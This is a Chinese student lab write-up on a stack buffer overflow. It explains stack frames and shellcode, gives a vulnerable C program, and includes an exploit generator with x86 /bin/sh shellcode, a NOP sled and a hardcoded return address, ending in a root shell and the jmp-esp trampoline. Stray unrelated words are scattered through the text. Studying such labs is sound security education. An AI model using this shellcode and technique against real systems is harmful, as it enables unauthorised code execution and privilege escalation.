20169219 緩衝區溢出漏洞實驗

NMap+Wireshark實驗報告

從邏輯上講進程的堆棧是由多個堆棧幀構成的,其中每一個堆棧幀都對應一個函數調用。當函數調用發生時,新的堆棧幀被壓入堆棧;當函數返回時,相應的堆棧幀從堆棧中彈出。儘管堆棧幀結構的引入爲在高級語言中實現函數或過程這樣的概念提供了直接的硬件支持,可是因爲將函數返回地址這樣的重要數據保存在程序員可見的堆棧中,所以也給系統安全帶來了極大的隱患。html

緩衝區溢出,簡單的說就是計算機對接收的輸入數據沒有進行有效的檢測(理想的狀況是程序檢查數據長度並不容許輸入超過緩衝區長度的字符),向緩衝區內填充數據時超過了緩衝區自己的容量,而致使數據溢出到被分配空間以外的內存空間,使得溢出的數據覆蓋了其餘內存空間的數據。linux

而緩衝區溢出中,最爲危險的是堆棧溢出,由於入侵者能夠利用堆棧溢出,在函數返回時改變返回程序的地址,讓其跳轉到任意地址,帶來的危害一種是程序崩潰致使拒絕服務,另一種就是跳轉而且執行一段惡意代碼,好比獲得shell,而後隨心所欲。
因爲棧是低地址方向增加的,所以局部數組buffer的指針在緩衝區的下方。當把data的數據拷貝到buffer內時,超過緩衝區區域的高地址部分數據會「淹沒」本來的其餘棧幀數據,根據淹沒數據的內容不一樣,可能會有產生如下狀況:
一、淹沒了其餘的局部變量。若是被淹沒的局部變量是條件變量,那麼可能會改變函數本來的執行流程。這種方式能夠用於破解簡單的軟件驗證。
二、淹沒了ebp的值。修改了函數執行結束後要恢復的棧指針,將會致使棧幀失去平衡。
三、淹沒了返回地址。這是棧溢出原理的核心所在,經過淹沒的方式修改函數的返回地址,使程序代碼執行「意外」的流程!
四、淹沒參數變量。修改函數的參數變量也可能改變當前函數的執行結果和流程。
五、淹沒上級函數的棧幀,狀況與上述4點相似,只不過影響的是上級函數的執行。固然這裏的前提是保證函數能正常返回,即函數地址不能被隨意修改(這可能很麻煩!)。程序員

shellcode介紹

shellcode實質是指溢出後執行的能開啓系統shell的代碼。可是在緩衝區溢出攻擊時,也能夠將整個觸發緩衝區溢出攻擊過程的代碼統稱爲shellcode,按照這種定義能夠把shellcode分爲四部分:
一、核心shellcode代碼,包含了攻擊者要執行的全部代碼。
二、溢出地址,是觸發shellcode的關鍵所在。
三、填充物,填充未使用的緩衝區,用於控制溢出地址的位置,通常使用nop指令填充——0x90表示。
四、結束符號0,對於符號串shellcode須要用0結尾,避免溢出時字符串異常。
shellcode.c在Linux下生成一個shellshell

#include <unistd.h>
int main()
{
        char *name[2];
        name[0] = "/bin/sh";
        name[1] = NULL;
        execve(name[0], name, NULL);
        _exit(0);
}

在shellcode.c中一共用到了兩個系統調用,分別是execve(2)和_exit(2)。查看/usr/include/asm/unistd.h文件能夠得知,與其相應的系統調用號__NR_execve和__NR_exit分別爲11和1。按照前面剛剛講過的系統調用規則,在Linux下生成一個shell並結束退出須要如下步驟:數組

  • 在內存中存放一個以'\0'結束的字符串"/bin/sh";
  • 將字符串"/bin/sh"的地址保存在內存中的某個機器字中,而且後面緊接一個值爲0的機器字,這裏至關於設置好了name[2]中的兩個指針;
  • 將execve(2)的系統調用號11裝入eax寄存器;
  • 將字符串"/bin/sh"的地址裝入ebx寄存器;
  • 將設好的字符串"/bin/sh"的地址的地址裝入ecx寄存器;
  • 將設好的值爲0的機器字的地址裝入edx寄存器;
  • 執行int $0x80,這裏至關於調用execve(2);
  • 將_exit(2)的系統調用號1裝入eax寄存器;
  • 將退出碼0裝入ebx寄存器;
  • 執行int $0x80,這裏至關於調用_exit(2)。

漏洞程序

stack.c,保存到 /tmp 目錄下sass

/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
char buffer[12];

/* The following statement has a buffer overflow problem */
strcpy(buffer, str);

return 1;
}

int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}

攻擊程序

exploit.c,保存到 /tmp 目錄下安全

/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[]=
//得到一個shell
"\x31\xc0"    //xorl %eax,%eax
"\x50"        //pushl %eax
"\x68""//sh"  //pushl $0x68732f2f
"\x68""/bin"  //pushl $0x6e69622f
"\x89\xe3"    //movl %esp,%ebx
"\x50"        //pushl %eax
"\x53"        //pushl %ebx
"\x89\xe1"    //movl %esp,%ecx
"\x99"        //cdq
"\xb0\x0b"    //movb $0x0b,%al
"\xcd\x80"    //int $0x80
;

void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;

/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);

/* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x94\xd0\xff\xff");// 地址爲根據實驗結果算出的。
strcpy(buffer+100,shellcode);

/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}

用如下命令獲得shellcode在內存中的地址app

GDB disassemble能夠反彙編一個函數。函數

gdb stack

disass main

結果如圖:

如何肯定緩衝區的起始地址與函數的返回地址所在的內存單元的距離。
對於stack.c,要肯定的是buffer與保存起始地址的堆棧的距離。這須要經過gdb調試stack來肯定。
如何組織buffer的內容,使溢出後能使程序執行注入的shellcode。這須要猜想buffer在內存中的起始地址,從而肯定溢出後返回地址的具體值。
使用gdb設置斷點
this

根據語句 strcpy(buffer+100,shellcode); 計算shellcode的地址爲 0xffffd030(十六進制)+100(十進制)=0xffffd094(十六進制)
編譯exploit.c程序:

gcc -m32 -o exploit exploit.c

先運行攻擊程序exploit,再運行漏洞程序stack。能夠觀察攻擊結果。
用whoami命令驗證一下本身如今的身份。其實Linux繼承了UNIX的一個習慣,即普通用戶的命令提示符是以$開始的,而超級用戶的命令提示符是以#開始的。

能夠看到身份已是root了!因爲在全部UNIX系統下黑客攻擊的最高目標就是對root權限的追求,所以能夠說系統已經被攻破了。

此實驗關閉了系統的地址隨機化。
但實際的操做系統每次加載可執行文件到進程空間的位置都是沒法預測的,所以棧的位置實際是不固定的,經過硬編碼覆蓋新返回地址的方式並不可靠。爲了能準肯定位shellcode的地址,須要藉助一些額外的操做,其中最經典的是藉助跳板的棧溢出方式。
若是咱們在函數的返回地址填入一個地址,該地址指向的內存保存了一條特殊的指令jmp esp——跳板。那麼函數返回後,會執行該指令並跳轉到esp所在的位置——即data的位置。咱們能夠將緩衝區再多溢出一部分,淹沒data這樣的函數參數,並在這裏放上咱們想要執行的代碼!這樣,無論程序被加載到哪一個位置,最終都會回來執行棧內的代碼。

調整代碼是:

add esp,-X
jmp esp

第一條指令擡高了棧指針到shellcode以前。X表明shellcode起始地址與esp的偏移。若是shellcode從緩衝區起始位置開始,那麼就是buffer的地址偏移。這裏不使用sub esp,X指令主要是避免X的高位字節爲0的問題,不少狀況下緩衝區溢出是針對字符串緩衝區的,若是出現字節0會致使緩衝區截斷,從而致使溢出失敗。
第二條指令就是跳轉到shellcode的起始位置繼續執行。(又是jmp esp!)
經過上述方式便能得到一個較爲穩定的棧溢出攻擊。

參考

Linux下緩衝區溢出攻擊的原理及對策
緩衝區溢出攻擊

相關文章
相關標籤/搜索